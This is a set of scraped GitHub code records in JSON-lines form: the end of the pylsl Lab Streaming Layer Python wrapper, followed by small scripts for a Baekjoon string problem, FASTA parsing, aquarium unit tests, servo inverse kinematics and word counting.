timeout of the operation (default FOREVER).\n \n Throws a TimeoutError (if the timeout expires), or LostError (if the \n stream source has been lost).\n\n \"\"\"\n errcode = c_int()\n lib.lsl_open_stream(self.obj, c_double(timeout), byref(errcode))\n handle_error(errcode)\n \n def close_stream(self):\n \"\"\"Drop the current data stream.\n\n All samples that are still buffered or in flight will be dropped and \n transmission and buffering of data for this inlet will be stopped. If \n an application stops being interested in data from a source \n (temporarily or not) but keeps the outlet alive, it should call \n lsl_close_stream() to not waste unnecessary system and network \n resources.\n\n \"\"\"\n lib.lsl_close_stream(self.obj)\n\n def time_correction(self, timeout=FOREVER):\n \"\"\"Retrieve an estimated time correction offset for the given stream.\n\n The first call to this function takes several miliseconds until a \n reliable first estimate is obtained. Subsequent calls are instantaneous \n (and rely on periodic background updates). The precision of these \n estimates should be below 1 ms (empirically within +/-0.2 ms).\n \n Keyword arguments: \n timeout -- Timeout to acquire the first time-correction estimate \n (default FOREVER).\n \n Returns the current time correction estimate. This is the number that \n needs to be added to a time stamp that was remotely generated via \n local_clock() to map it into the local clock domain of this \n machine.\n\n Throws a TimeoutError (if the timeout expires), or LostError (if the \n stream source has been lost).\n\n \"\"\"\n errcode = c_int()\n result = lib.lsl_time_correction(self.obj, c_double(timeout),\n byref(errcode))\n handle_error(errcode)\n return result\n \n def pull_sample(self, timeout=FOREVER, sample=None):\n \"\"\"Pull a sample from the inlet and return it.\n \n Keyword arguments:\n timeout -- The timeout for this operation, if any. (default FOREVER)\n If this is passed as 0.0, then the function returns only a \n sample if one is buffered for immediate pickup.\n \n Returns a tuple (sample,timestamp) where sample is a list of channel \n values and timestamp is the capture time of the sample on the remote \n machine, or (None,None) if no new sample was available. To remap this \n time stamp to the local clock, add the value returned by \n .time_correction() to it. \n \n Throws a LostError if the stream source has been lost. Note that, if \n the timeout expires, no TimeoutError is thrown (because this case is \n not considered an error).\n\n \"\"\"\n \n # support for the legacy API\n if type(timeout) is list:\n assign_to = timeout\n timeout = sample if type(sample) is float else 0.0\n else:\n assign_to = None\n \n errcode = c_int()\n timestamp = self.do_pull_sample(self.obj, byref(self.sample),\n self.channel_count, c_double(timeout),\n byref(errcode))\n handle_error(errcode)\n if timestamp:\n sample = [v for v in self.sample]\n if self.channel_format == cf_string:\n sample = [v.decode('utf-8') for v in sample]\n if assign_to is not None:\n assign_to[:] = sample\n return sample, timestamp\n else:\n return None, None\n \n def pull_chunk(self, timeout=0.0, max_samples=1024, dest_obj=None):\n \"\"\"Pull a chunk of samples from the inlet.\n \n Keyword arguments:\n timeout -- The timeout of the operation; if passed as 0.0, then only \n samples available for immediate pickup will be returned. \n (default 0.0)\n max_samples -- Maximum number of samples to return. (default \n 1024)\n dest_obj -- A Python object that supports the buffer interface.\n If this is provided then the dest_obj will be updated in place\n and the samples list returned by this method will be empty.\n It is up to the caller to trim the buffer to the appropriate\n number of samples.\n A numpy buffer must be order='C'\n (default None)\n \n Returns a tuple (samples,timestamps) where samples is a list of samples \n (each itself a list of values), and timestamps is a list of time-stamps.\n\n Throws a LostError if the stream source has been lost.\n\n \"\"\"\n # look up a pre-allocated buffer of appropriate length \n num_channels = self.channel_count\n max_values = max_samples*num_channels\n\n if max_samples not in self.buffers:\n # noinspection PyCallingNonCallable\n self.buffers[max_samples] = ((self.value_type*max_values)(),\n (c_double*max_samples)())\n if dest_obj is not None:\n data_buff = (self.value_type * max_values).from_buffer(dest_obj)\n else:\n data_buff = self.buffers[max_samples][0]\n ts_buff = self.buffers[max_samples][1]\n\n # read data into it\n errcode = c_int()\n # noinspection PyCallingNonCallable\n num_elements = self.do_pull_chunk(self.obj, byref(data_buff),\n byref(ts_buff), max_values,\n max_samples, c_double(timeout),\n byref(errcode))\n handle_error(errcode)\n # return results (note: could offer a more efficient format in the \n # future, e.g., a numpy array)\n num_samples = num_elements/num_channels\n if dest_obj is None:\n samples = [[data_buff[s*num_channels+c] for c in range(num_channels)]\n for s in range(int(num_samples))]\n if self.channel_format == cf_string:\n samples = [[v.decode('utf-8') for v in s] for s in samples]\n free_char_p_array_memory(data_buff, max_values)\n else:\n samples = None\n timestamps = [ts_buff[s] for s in range(int(num_samples))]\n return samples, timestamps\n \n def samples_available(self):\n \"\"\"Query whether samples are currently available for immediate pickup.\n\n Note that it is not a good idea to use samples_available() to determine \n whether a pull_*() call would block: to be sure, set the pull timeout \n to 0.0 or an acceptably low value. If the underlying implementation \n supports it, the value will be the number of samples available \n (otherwise it will be 1 or 0).\n\n \"\"\"\n return lib.lsl_samples_available(self.obj)\n \n def was_clock_reset(self):\n \"\"\"Query whether the clock was potentially reset since the last call.\n\n This is rarely-used function is only needed for applications that\n combine multiple time_correction values to estimate precise clock\n drift if they should tolerate cases where the source machine was\n hot-swapped or restarted.\n\n \"\"\"\n return bool(lib.lsl_was_clock_reset(self.obj))\n\n\n# ===================\n# === XML Element ===\n# ===================\n \nclass XMLElement:\n \"\"\"A lightweight XML element tree modeling the .desc() field of StreamInfo.\n\n Has a name and can have multiple named children or have text content as \n value; attributes are omitted. Insider note: The interface is modeled after \n a subset of pugixml's node type and is compatible with it. See also \n http://pugixml.googlecode.com/svn/tags/latest/docs/manual/access.html for \n additional documentation.\n\n \"\"\"\n \n def __init__(self, handle):\n \"\"\"Construct new XML element from existing handle.\"\"\"\n self.e = c_void_p(handle)\n \n # === Tree Navigation ===\n \n def first_child(self):\n \"\"\"Get the first child of the element.\"\"\"\n return XMLElement(lib.lsl_first_child(self.e))\n \n def last_child(self):\n \"\"\"Get the last child of the element.\"\"\"\n return XMLElement(lib.lsl_last_child(self.e))\n\n def child(self, name):\n \"\"\"Get a child with a specified name.\"\"\"\n return XMLElement(lib.lsl_child(self.e, str.encode(name)))\n \n def next_sibling(self, name=None):\n \"\"\"Get the next sibling in the children list of the parent node.\n\n If a name is provided, the next sibling with the given name is returned.\n\n \"\"\"\n if name is None:\n return XMLElement(lib.lsl_next_sibling(self.e))\n else:\n return XMLElement(lib.lsl_next_sibling_n(self.e, str.encode(name)))\n \n def previous_sibling(self, name=None):\n \"\"\"Get the previous sibling in the children list of the parent node.\n\n If a name is provided, the previous sibling with the given name is\n returned.\n\n \"\"\"\n if name is None:\n return XMLElement(lib.lsl_previous_sibling(self.e))\n else:\n return XMLElement(lib.lsl_previous_sibling_n(self.e,\n str.encode(name)))\n \n def parent(self):\n \"\"\"Get the parent node.\"\"\"\n return XMLElement(lib.lsl_parent(self.e))\n \n # === Content Queries ===\n \n def empty(self):\n \"\"\"Whether this node is empty.\"\"\"\n return bool(lib.lsl_empty(self.e))\n \n def is_text(self):\n \"\"\"Whether this is a text body (instead of an XML element).\n\n True both for plain char data and CData.\n\n \"\"\"\n return bool(lib.lsl_is_text(self.e))\n \n def name(self):\n \"\"\"Name of the element.\"\"\"\n return lib.lsl_name(self.e).decode('utf-8')\n \n def value(self):\n \"\"\"Value of the element.\"\"\"\n return lib.lsl_value(self.e).decode('utf-8')\n \n def child_value(self, name=None):\n \"\"\"Get child value (value of the first child that is text).\n\n If a name is provided, then the value of the first child with the\n given name is returned.\n\n \"\"\"\n if name is None:\n res = lib.lsl_child_value(self.e)\n else:\n res = lib.lsl_child_value_n(self.e, str.encode(name))\n return res.decode('utf-8')\n\n # === Modification ===\n \n def append_child_value(self, name, value):\n \"\"\"Append a child node with a given name, which has a (nameless) \n plain-text child with the given text value.\"\"\"\n return XMLElement(lib.lsl_append_child_value(self.e,\n str.encode(name),\n str.encode(value)))\n \n def prepend_child_value(self, name, value):\n \"\"\"Prepend a child node with a given name, which has a (nameless) \n plain-text child with the given text value.\"\"\"\n return XMLElement(lib.lsl_prepend_child_value(self.e,\n str.encode(name),\n str.encode(value)))\n\n def set_child_value(self, name, value):\n \"\"\"Set the text value of the (nameless) plain-text child of a named \n child node.\"\"\"\n return XMLElement(lib.lsl_set_child_value(self.e,\n str.encode(name),\n str.encode(value)))\n \n def set_name(self, name):\n \"\"\"Set the element's name. Returns False if the node is empty.\"\"\"\n return bool(lib.lsl_set_name(self.e, str.encode(name)))\n \n def set_value(self, value):\n \"\"\"Set the element's value. Returns False if the node is empty.\"\"\"\n return bool(lib.lsl_set_value(self.e, str.encode(value)))\n \n def append_child(self, name):\n \"\"\"Append a child element with the specified name.\"\"\"\n return XMLElement(lib.lsl_append_child(self.e, str.encode(name)))\n \n def prepend_child(self, name):\n \"\"\"Prepend a child element with the specified name.\"\"\"\n return XMLElement(lib.lsl_prepend_child(self.e, str.encode(name)))\n \n def append_copy(self, elem):\n \"\"\"Append a copy of the specified element as a child.\"\"\"\n return XMLElement(lib.lsl_append_copy(self.e, elem.e))\n \n def prepend_copy(self, elem):\n \"\"\"Prepend a copy of the specified element as a child.\"\"\"\n return XMLElement(lib.lsl_prepend_copy(self.e, elem.e))\n \n def remove_child(self, rhs):\n \"\"\"Remove a given child element, specified by name or as element.\"\"\"\n if type(rhs) is XMLElement:\n lib.lsl_remove_child(self.e, rhs.e)\n else:\n lib.lsl_remove_child_n(self.e, rhs)\n\n \n# ==========================\n# === ContinuousResolver ===\n# ==========================\n\nclass ContinuousResolver:\n \"\"\"A convenience class resolving streams continuously in the background.\n\n This object can be queried at any time for the set of streams that are\n currently visible on the network.\n\n \"\"\"\n \n def __init__(self, prop=None, value=None, pred=None, forget_after=5.0):\n \"\"\"Construct a new continuous_resolver.\n\n Keyword arguments:\n forget_after -- When a stream is no longer visible on the network \n (e.g., because it was shut down), this is the time in \n seconds after which it is no longer reported by the \n resolver.\n\n \"\"\"\n if pred is not None:\n if prop is not None or value is not None:\n raise ValueError(\"you can only either pass the prop/value \"\n \"argument or the pred argument, but not \"\n \"both.\")\n self.obj = lib.lsl_create_continuous_resolver_bypred(str.encode(pred),\n c_double(forget_after))\n elif prop is not None and value is not None:\n self.obj = lib.lsl_create_continuous_resolver_byprop(str.encode(prop),\n str.encode(value),\n c_double(forget_after))\n elif prop is not None or value is not None:\n raise ValueError(\"if prop is specified, then value must be \"\n \"specified, too, and vice versa.\")\n else:\n self.obj = lib.lsl_create_continuous_resolver(c_double(forget_after))\n self.obj = c_void_p(self.obj)\n if not self.obj:\n raise RuntimeError(\"could not create continuous resolver.\")\n \n def __del__(self):\n \"\"\"Destructor for the continuous resolver.\"\"\"\n # noinspection PyBroadException\n try:\n lib.lsl_destroy_continuous_resolver(self.obj)\n except:\n pass\n \n def results(self):\n \"\"\"Obtain the set of currently present streams on the network.\n\n Returns a list of matching StreamInfo objects (with empty desc\n field), any of which can subsequently be used to open an inlet.\n\n \"\"\"\n # noinspection PyCallingNonCallable\n buffer = (c_void_p*1024)()\n num_found = lib.lsl_resolver_results(self.obj, byref(buffer), 1024)\n return [StreamInfo(handle=buffer[k]) for k in range(num_found)]\n\n\n# =========================\n# === Error Definitions === \n# =========================\n\n# noinspection PyShadowingBuiltins\nclass TimeoutError(RuntimeError):\n # note: although this overrides the name of a built-in exception,\n # this API is retained here for compatiblity with the Python 2.x\n # version of pylsl\n pass\n\n\nclass LostError(RuntimeError):\n pass\n\n\nclass InvalidArgumentError(RuntimeError):\n pass\n\n\nclass InternalError(RuntimeError):\n pass\n\n\ndef handle_error(errcode):\n \"\"\"Error handler function. Translates an error code into an exception.\"\"\"\n if type(errcode) is c_int:\n errcode = errcode.value\n if errcode == 0:\n pass # no error\n elif errcode == -1:\n raise TimeoutError(\"the operation failed due to a timeout.\")\n elif errcode == -2:\n raise LostError(\"the stream has been lost.\")\n elif errcode == -3:\n raise InvalidArgumentError(\"an argument was incorrectly specified.\")\n elif errcode == -4:\n raise InternalError(\"an internal error has occurred.\")\n elif errcode < 0: \n raise RuntimeError(\"an unknown error has occurred.\")\n\n\n# ================================================= \n# === Compatibility Interface for old pylsl API === \n# ================================================= \n\n# set class aliases\nstream_info = StreamInfo\nstream_outlet = StreamOutlet\nstream_inlet = StreamInlet\nxml_element = XMLElement\ntimeout_error = TimeoutError\nlost_error = LostError\nvectorf = vectord = vectorl = vectori = vectors = vectorc = vectorstr = list\n\n\ndef resolve_stream(*args):\n if len(args) == 0:\n return resolve_streams()\n elif type(args[0]) in [int, float]:\n return resolve_streams(args[0])\n elif type(args[0]) is str:\n if len(args) == 1:\n return resolve_bypred(args[0])\n elif type(args[1]) in [int, float]:\n return resolve_bypred(args[0], args[1])\n else:\n if len(args) == 2:\n return resolve_byprop(args[0], args[1])\n else:\n return resolve_byprop(args[0], args[1], args[2])\n \n\n# ==================================\n# === Module Initialization Code ===\n# ==================================\n\n# find and load library\nos_name = platform.system()\nbitness = 8 * struct.calcsize(\"P\")\nif os_name in ['Windows', 'Microsoft']:\n libname = 'liblsl32.dll' if bitness == 32 else 'liblsl64.dll'\nelif os_name == 'Darwin':\n libname = 'liblsl32.dylib' if bitness == 32 else 'liblsl64.dylib'\nelif os_name == 'Linux':\n libname = 'liblsl32.so' if bitness == 32 else 'liblsl64.so'\nelse:\n raise RuntimeError(\"unrecognized operating system:\", os_name)\nlibpath = os.path.join(os.path.dirname(__file__), libname)\nif not os.path.isfile(libpath):\n libpath = util.find_library('lsl' + str(bitness))\nif not libpath:\n raise RuntimeError(\"library \" + libname + \" was not found - make sure \"\n \"that it is on the search path (e.g., in the same \"\n \"folder as pylsl.py).\")\nlib = CDLL(libpath)\n\n\n# set function return types where necessary\nlib.lsl_local_clock.restype = c_double\nlib.lsl_create_streaminfo.restype = c_void_p\nlib.lsl_get_name.restype = c_char_p\nlib.lsl_get_type.restype = c_char_p\nlib.lsl_get_nominal_srate.restype = c_double\nlib.lsl_get_source_id.restype = c_char_p\nlib.lsl_get_created_at.restype = c_double\nlib.lsl_get_uid.restype = c_char_p\nlib.lsl_get_session_id.restype = c_char_p\nlib.lsl_get_hostname.restype = c_char_p\nlib.lsl_get_desc.restype = c_void_p\nlib.lsl_get_xml.restype = c_char_p\nlib.lsl_create_outlet.restype = c_void_p\nlib.lsl_create_inlet.restype = c_void_p \nlib.lsl_get_fullinfo.restype = c_void_p\nlib.lsl_open_stream.restype = c_void_p\nlib.lsl_time_correction.restype = c_double\nlib.lsl_pull_sample_f.restype = c_double\nlib.lsl_pull_sample_d.restype = c_double\nlib.lsl_pull_sample_l.restype = c_double\nlib.lsl_pull_sample_i.restype = c_double\nlib.lsl_pull_sample_s.restype = c_double\nlib.lsl_pull_sample_c.restype = c_double\nlib.lsl_pull_sample_str.restype = c_double\nlib.lsl_pull_sample_buf.restype = c_double\nlib.lsl_first_child.restype = c_void_p\nlib.lsl_first_child.argtypes = [c_void_p, ]\nlib.lsl_last_child.restype = c_void_p\nlib.lsl_last_child.argtypes = [c_void_p, ]\nlib.lsl_next_sibling.restype = c_void_p\nlib.lsl_next_sibling.argtypes = [c_void_p, ]\nlib.lsl_previous_sibling.restype = c_void_p\nlib.lsl_previous_sibling.argtypes = [c_void_p, ]\nlib.lsl_parent.restype = c_void_p\nlib.lsl_parent.argtypes = [c_void_p, ]\nlib.lsl_child.restype = c_void_p\nlib.lsl_child.argtypes = [c_void_p, c_char_p]\nlib.lsl_next_sibling_n.restype = c_void_p\nlib.lsl_next_sibling_n.argtypes = [c_void_p, c_char_p]\nlib.lsl_previous_sibling_n.restype = c_void_p\nlib.lsl_previous_sibling_n.argtypes = [c_void_p, c_char_p]\nlib.lsl_name.restype = c_char_p\nlib.lsl_name.argtypes = [c_void_p, ]\nlib.lsl_value.restype = c_char_p\nlib.lsl_value.argtypes = [c_void_p, ]\nlib.lsl_child_value.restype = c_char_p\nlib.lsl_child_value.argtypes = [c_void_p, ]\nlib.lsl_child_value_n.restype = c_char_p\nlib.lsl_child_value_n.argtypes = [c_void_p, c_char_p]\nlib.lsl_append_child_value.restype = c_void_p\nlib.lsl_append_child_value.argtypes = [c_void_p, c_char_p, c_char_p]\nlib.lsl_prepend_child_value.restype = c_void_p\nlib.lsl_prepend_child_value.argtypes = [c_void_p, c_char_p, c_char_p]\n# Return type for lsl_set_child_value, lsl_set_name, lsl_set_value is int\nlib.lsl_set_child_value.argtypes = [c_void_p, c_char_p, c_char_p]\nlib.lsl_set_name.argtypes = [c_void_p, c_char_p]\nlib.lsl_set_value.argtypes = [c_void_p, c_char_p]\nlib.lsl_append_child.restype = c_void_p\nlib.lsl_append_child.argtypes = [c_void_p, c_char_p]\nlib.lsl_prepend_child.restype = c_void_p\nlib.lsl_prepend_child.argtypes = [c_void_p, c_char_p]\nlib.lsl_append_copy.restype = c_void_p\nlib.lsl_append_copy.argtypes = [c_void_p, c_void_p]\nlib.lsl_prepend_copy.restype = c_void_p\nlib.lsl_prepend_copy.argtypes = [c_void_p, c_void_p]\nlib.lsl_remove_child_n.argtypes = [c_void_p, c_char_p]\nlib.lsl_remove_child.argtypes = [c_void_p, c_void_p]\nlib.lsl_destroy_string.argtypes = [c_void_p]\n# noinspection PyBroadException\ntry:\n lib.lsl_pull_chunk_f.restype = c_long\n lib.lsl_pull_chunk_d.restype = c_long\n lib.lsl_pull_chunk_l.restype = c_long\n lib.lsl_pull_chunk_i.restype = c_long\n lib.lsl_pull_chunk_s.restype = c_long\n lib.lsl_pull_chunk_c.restype = c_long\n lib.lsl_pull_chunk_str.restype = c_long\n lib.lsl_pull_chunk_buf.restype = c_long\nexcept:\n print(\"pylsl: chunk transfer functions not available in your liblsl \"\n \"version.\")\n# noinspection PyBroadException\ntry:\n lib.lsl_create_continuous_resolver.restype = c_void_p\n lib.lsl_create_continuous_resolver_bypred.restype = c_void_p\n lib.lsl_create_continuous_resolver_byprop.restype = c_void_p\nexcept:\n print(\"pylsl: ContinuousResolver not (fully) available in your liblsl \"\n \"version.\")\n \n# set up some type maps\nstring2fmt = {'float32': cf_float32, 'double64': cf_double64,\n 'string': cf_string, 'int32': cf_int32, 'int16': cf_int16,\n 'int8': cf_int8, 'int64': cf_int64}\nfmt2string = ['undefined', 'float32', 'double64', 'string', 'int32', 'int16',\n 'int8', 'int64']\nfmt2type = [[], c_float, c_double, c_char_p, c_int, c_short, c_byte, c_longlong]\nfmt2push_sample = [[], lib.lsl_push_sample_ftp, lib.lsl_push_sample_dtp,\n lib.lsl_push_sample_strtp, lib.lsl_push_sample_itp,\n lib.lsl_push_sample_stp, lib.lsl_push_sample_ctp, []]\nfmt2pull_sample = [[], lib.lsl_pull_sample_f, lib.lsl_pull_sample_d,\n lib.lsl_pull_sample_str, lib.lsl_pull_sample_i,\n lib.lsl_pull_sample_s, lib.lsl_pull_sample_c, []]\n# noinspection PyBroadException\ntry:\n fmt2push_chunk = [[], lib.lsl_push_chunk_ftp, lib.lsl_push_chunk_dtp,\n lib.lsl_push_chunk_strtp, lib.lsl_push_chunk_itp,\n lib.lsl_push_chunk_stp, lib.lsl_push_chunk_ctp, []]\n fmt2pull_chunk = [[], lib.lsl_pull_chunk_f, lib.lsl_pull_chunk_d,\n lib.lsl_pull_chunk_str, lib.lsl_pull_chunk_i,\n lib.lsl_pull_chunk_s, lib.lsl_pull_chunk_c, []]\nexcept:\n # if not available\n fmt2push_chunk = [None, None, None, None, None, None, None, None]\n fmt2pull_chunk = [None, None, None, None, None, None, None, None]\n","repo_name":"sccn/lsl_archived","sub_path":"LSL/liblsl-Python/pylsl/pylsl.py","file_name":"pylsl.py","file_ext":"py","file_size_in_byte":54895,"program_lang":"python","lang":"en","doc_type":"code","stars":243,"dataset":"github-code","pt":"31"} +{"seq_id":"13676958666","text":"import sys\n\n'''\n 답 리턴 변수 answer\n 입력 받을 변수 str\n 알파벳들이 들어갈 딕셔너리 alphaDic\n'''\nanswer = \"\"\nstr = sys.stdin.readline().rstrip()\nalphaDic = {}\n\n'''\n 문자의 길이만큼 반복하여\n 스펠링을 대문자화 시킨다.\n \n 스펠링이 알파벳 딕셔녀리에 키값으로 존재하지 않으면 해당 키의 1 값을 추가한다.\n 존재하면 값을 1추가한다.\n'''\nfor c in str:\n C = c.upper()\n\n if C not in alphaDic.keys():\n alphaDic[C] = 1\n else:\n alphaDic[C]+=1\n\n'''\n 알파벳 딕셔너리의 값들중 최대값을 찾는다.\n 딕셔너리의 키의 값을 탐색하며 해당 최대값을 가지고 있는 키 값을 리턴 문자열에 추가한다.\n'''\nmaxVal = max(alphaDic.values())\n\nfor key in alphaDic.keys():\n if alphaDic[key] == maxVal:\n answer+=key\n\n'''\n 문자열의 길이가 1보다 크면 ? 를 출력하고 1이면 해당 스펠링만 출력한다.\n'''\nif len(answer) > 1:\n print(\"?\")\nelse:\n print(answer)\n\n'''\n다른 사람의 풀이\n모두 대문자화 하여 입력받는다.\nword = input().upper()\n\nli = [0] * (ord('Z') + 1)\nfor ab in range(ord('A'), ord('Z')+1):\n li[ab] = word.count(chr(ab))\n\nmax_ = max(li[ord('A'):])\nif li[ord('A'):].count(max_) >= 2:\n print('?')\nelse:\n print(chr(li.index(max_)))\n \nord 함수 : 문자의 아스키코드 값을 돌려주는 함수\n'''","repo_name":"junseokseo-KR/pythonAlgorithm","sub_path":"venv/src/codeAlgorithm/baekjoon/문자열/1157_단어공부.py","file_name":"1157_단어공부.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"9125691261","text":"from Bio import SeqIO\nimport os.path\nimport sys\n\ndef get_seq_from_fasta(file, include_reverse = True):\n if os.path.isfile(file):\n try:\n rec_dict = SeqIO.to_dict(SeqIO.parse(file, 'fasta'))\n if len(rec_dict) == 0:\n raise RuntimeError('¿y los reads?')\n return rec_dict\n except IOError as err:\n raise err\n\n else:\n raise RuntimeError('error 404 file not found')\n\ndef include_reverse(rec_dict):\n rev_rec_dict = {}\n for seq_id, seq in rec_dict.items():\n rev_rec_dict[seq_id + '_rev'] = seq.reverse_complement()\n\n rec_dict.update(reversed_record_dict)\n return rec_dict\n\ndef output_assembly(sequences, output_file_name=\"./output.txt\",\n longest_assembly_only=False):\n with open(output_file_name, 'w') as output_handle:\n if longest_assembly_only:\n sequence = max(sequences, key=len)\n output_handle.write(str(sequence) + '\\n')\n else:\n for sequence in sorted(sequences,key=len,reverse=True):\n output_handle.write(str(sequence) + '\\n')\n","repo_name":"biocomp-eafit/simple-assembly","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40878792887","text":"# Created by viv at 15.12.18\n\"\"\"\n\n\"\"\"\nimport math\nimport time\nimport sys\nimport numpy as np\n\n# -----------------------------------------------\nfrom lib import pwm\nimport constants as const\nfrom lib.servo_calibration import servo_calib_data as servo_calib\nfrom lib import miscellaneous as misc\nfrom lib.kinematics import ikine as ik\n\n\n# ------------------------------------------------------------------------------\n# \"\"\" FUNCTION: To control Servos with IK algorithm \"\"\"\n# ------------------------------------------------------------------------------\ndef robo_main():\n \"\"\"\n 906\n :return:\n \"\"\"\n pwm_jf1 = pwm.PWM(gpio_path=const.JF1_MIO13_919, servo_cal_info=servo_calib.servo_1)\n pwm_jf4 = pwm.PWM(gpio_path=const.JF4_MIO12_918, servo_cal_info=servo_calib.servo_2)\n pwm_jf7 = pwm.PWM(gpio_path=const.JF7_MIO0_906, servo_cal_info=servo_calib.servo_3)\n pwm_jf8 = pwm.PWM(gpio_path=const.JF8_MIO09_915, servo_cal_info=servo_calib.servo_4)\n pwm_jf9 = pwm.PWM(gpio_path=const.JF9_MIO14_920, servo_cal_info=servo_calib.servo_5)\n\n while True:\n theta1 = float(input(\"theta1: \"))\n theta2 = float(input(\"theta2: \"))\n theta3 = float(input(\"theta3: \"))\n theta4 = float(input(\"theta4: \"))\n theta5 = float(input(\"theta5: \"))\n\n pwm_jf1.pwm_generate(theta1)\n time.sleep(0.5)\n\n pwm_jf4.pwm_generate(theta2)\n time.sleep(0.5)\n\n pwm_jf7.pwm_generate(theta3)\n time.sleep(0.5)\n\n pwm_jf8.pwm_generate(theta4)\n time.sleep(0.5)\n\n pwm_jf9.pwm_generate(theta5)\n time.sleep(0.5)\n\n\n# ------------------------------------------------------------------------------\n# \"\"\" FUNCTION: MAIN \"\"\"\n# ------------------------------------------------------------------------------\ndef main():\n \"\"\"\n\n \"\"\"\n pwm_jf1 = pwm.PWM(gpio_path=const.JF1_MIO13_919, servo_cal_info=servo_calib.servo_1)\n pwm_jf4 = pwm.PWM(gpio_path=const.JF4_MIO12_918, servo_cal_info=servo_calib.servo_2)\n pwm_jf7 = pwm.PWM(gpio_path=const.JF7_MIO0_906, servo_cal_info=servo_calib.servo_3)\n pwm_jf8 = pwm.PWM(gpio_path=const.JF8_MIO09_915, servo_cal_info=servo_calib.servo_4)\n pwm_jf9 = pwm.PWM(gpio_path=const.JF9_MIO14_920, servo_cal_info=servo_calib.servo_5)\n\n end_eff_direction_mat = np.matrix([\n [-1., 0., 0.],\n [0., -1., 0.],\n [0., 0., 1.]\n ])\n\n while True:\n x = float(input(\"x: \"))\n y = float(input(\"y: \"))\n z = float(input(\"z: \"))\n\n thetas = ik.ik_5dof(end_eff_direction_mat, x, y, z)\n\n print(\"theta_1 {}\".format(math.degrees(thetas.theta_1)))\n print(\"theta_2 {}\".format(math.degrees(thetas.theta_2)))\n print(\"theta_3 {}\".format(math.degrees(thetas.theta_3)))\n print(\"theta_4 {}\".format(math.degrees(thetas.theta_4)))\n print(\"theta_5 {}\".format(math.degrees(thetas.theta_5)))\n\n pwm_jf1.pwm_generate(thetas.theta_1)\n time.sleep(0.5)\n\n pwm_jf4.pwm_generate(thetas.theta_2)\n time.sleep(0.5)\n\n pwm_jf7.pwm_generate(thetas.theta_3)\n time.sleep(0.5)\n\n pwm_jf8.pwm_generate(thetas.theta_4)\n time.sleep(0.5)\n\n pwm_jf9.pwm_generate(thetas.theta_5)\n time.sleep(0.5)\n\n\nif __name__ == '__main__':\n tstart = time.time()\n\n # robo_main()\n main()\n\n print(\"Total time {}\".format(time.time() - tstart))\n","repo_name":"vivekpatel99/Kinematics","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20143968750","text":"import unittest\n\nfrom project.aquarium.freshwater_aquarium import FreshwaterAquarium\nfrom project.decoration.ornament import Ornament\nfrom project.decoration.plant import Plant\nfrom project.fish.freshwater_fish import FreshwaterFish\n\n\nclass TestAquarium(unittest.TestCase):\n def setUp(self) -> None:\n self.test = FreshwaterAquarium('fresh')\n\n def test_add_decoration(self):\n for _ in range(3):\n self.test.add_decoration(Ornament())\n self.assertEqual(3, len(self.test.decorations))\n\n def test_calculate_comfort(self):\n for _ in range(3):\n self.test.add_decoration(Ornament())\n self.assertEqual(3, self.test.calculate_comfort())\n\n def test_add_fish_valid_fish_enough_capacity(self):\n self.test.capacity = 1\n self.assertEqual([], self.test.fish)\n fish = FreshwaterFish('fish', 'freshwater', 10)\n expected = \"Successfully added FreshwaterFish to fresh.\"\n actual = self.test.add_fish(fish)\n self.assertEqual(fish, self.test.fish[0])\n self.assertEqual(expected, actual)\n\n def test_valid_fish_not_enough_capacity(self):\n self.test.capacity = 1\n self.assertEqual([], self.test.fish)\n fish = FreshwaterFish('fish', 'freshwater', 10)\n fish2 = FreshwaterFish('fish', 'freshwater', 10)\n self.test.add_fish(fish)\n expected = \"Not enough capacity.\"\n actual = self.test.add_fish(fish2)\n self.assertEqual(expected, actual)\n\n def test_str_method_with_fish(self):\n fish = FreshwaterFish('fish', 'freshwater', 10)\n fish2 = FreshwaterFish('fish2', 'freshwater', 10)\n self.test.add_decoration(Ornament())\n self.test.add_decoration(Plant())\n self.test.add_decoration(Plant())\n self.test.add_fish(fish)\n self.test.add_fish(fish2)\n expected = \"fresh:\\nFish: fish fish2\\nDecorations: 3\\nComfort: 11\"\n actual = self.test.__str__()\n self.assertEqual(expected, actual)\n\n def test_str_method_no_fish(self):\n self.test.add_decoration(Ornament())\n self.test.add_decoration(Plant())\n self.test.add_decoration(Plant())\n expected = \"fresh:\\nFish: none\\nDecorations: 3\\nComfort: 11\"\n actual = self.test.__str__()\n self.assertEqual(expected, actual)\n","repo_name":"StanDobrev11/Python_OOP","sub_path":"OOP_Exams/03_APR_2021/TASK/project/aquarium/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1802279073","text":"# Режим\tОбозначение\n# 'r'\tоткрытие на чтение (является значением по умолчанию).\n# 'w'\tоткрытие на запись, содержимое файла удаляется, если файла не существует, создается новый.\n# 'x'\tоткрытие на запись, если файла не существует, иначе исключение.\n# 'a'\tоткрытие на дозапись, информация добавляется в конец файла.\n# 'b'\tоткрытие в двоичном режиме.\n# 't'\tоткрытие в текстовом режиме (является значением по умолчанию).\n# '+'\tоткрытие на чтение и запись\n\n# Вспоминаем работу с файлом. Есть файл, в котором много англоязычных текстовых строк.\n# Считаем частоту встретившихся слов в файле, но через функции и map, без единого цикла!\n\nimport re\nimport sys\n\n\ndef count_words(word, dict_words):\n if word.lower() in dict_words:\n dict_words[word] += 1\n else:\n dict_words[word] = 1\n\n\ndef calc_words(text):\n words_list = list(re.findall(r'\\w+', text))\n dict_total = dict()\n list(map(lambda word: count_words(word, dict_total), words_list))\n return dict_total\n\n\nfilename = sys.argv[0]\n# далее открываем файл на чтение (опция 'r')\nf = open(\"task3.txt\", 'r') # в файле теперь file descriptor\n\nfile_lines = f.readlines()\nfile_text = \"\".join(file_lines)\n\nwords_total = calc_words(file_text)\nprint(words_total)\n\nf.close() # закрытие файла\n","repo_name":"OleksiiKhivrenko/python-course","sub_path":"Lesson 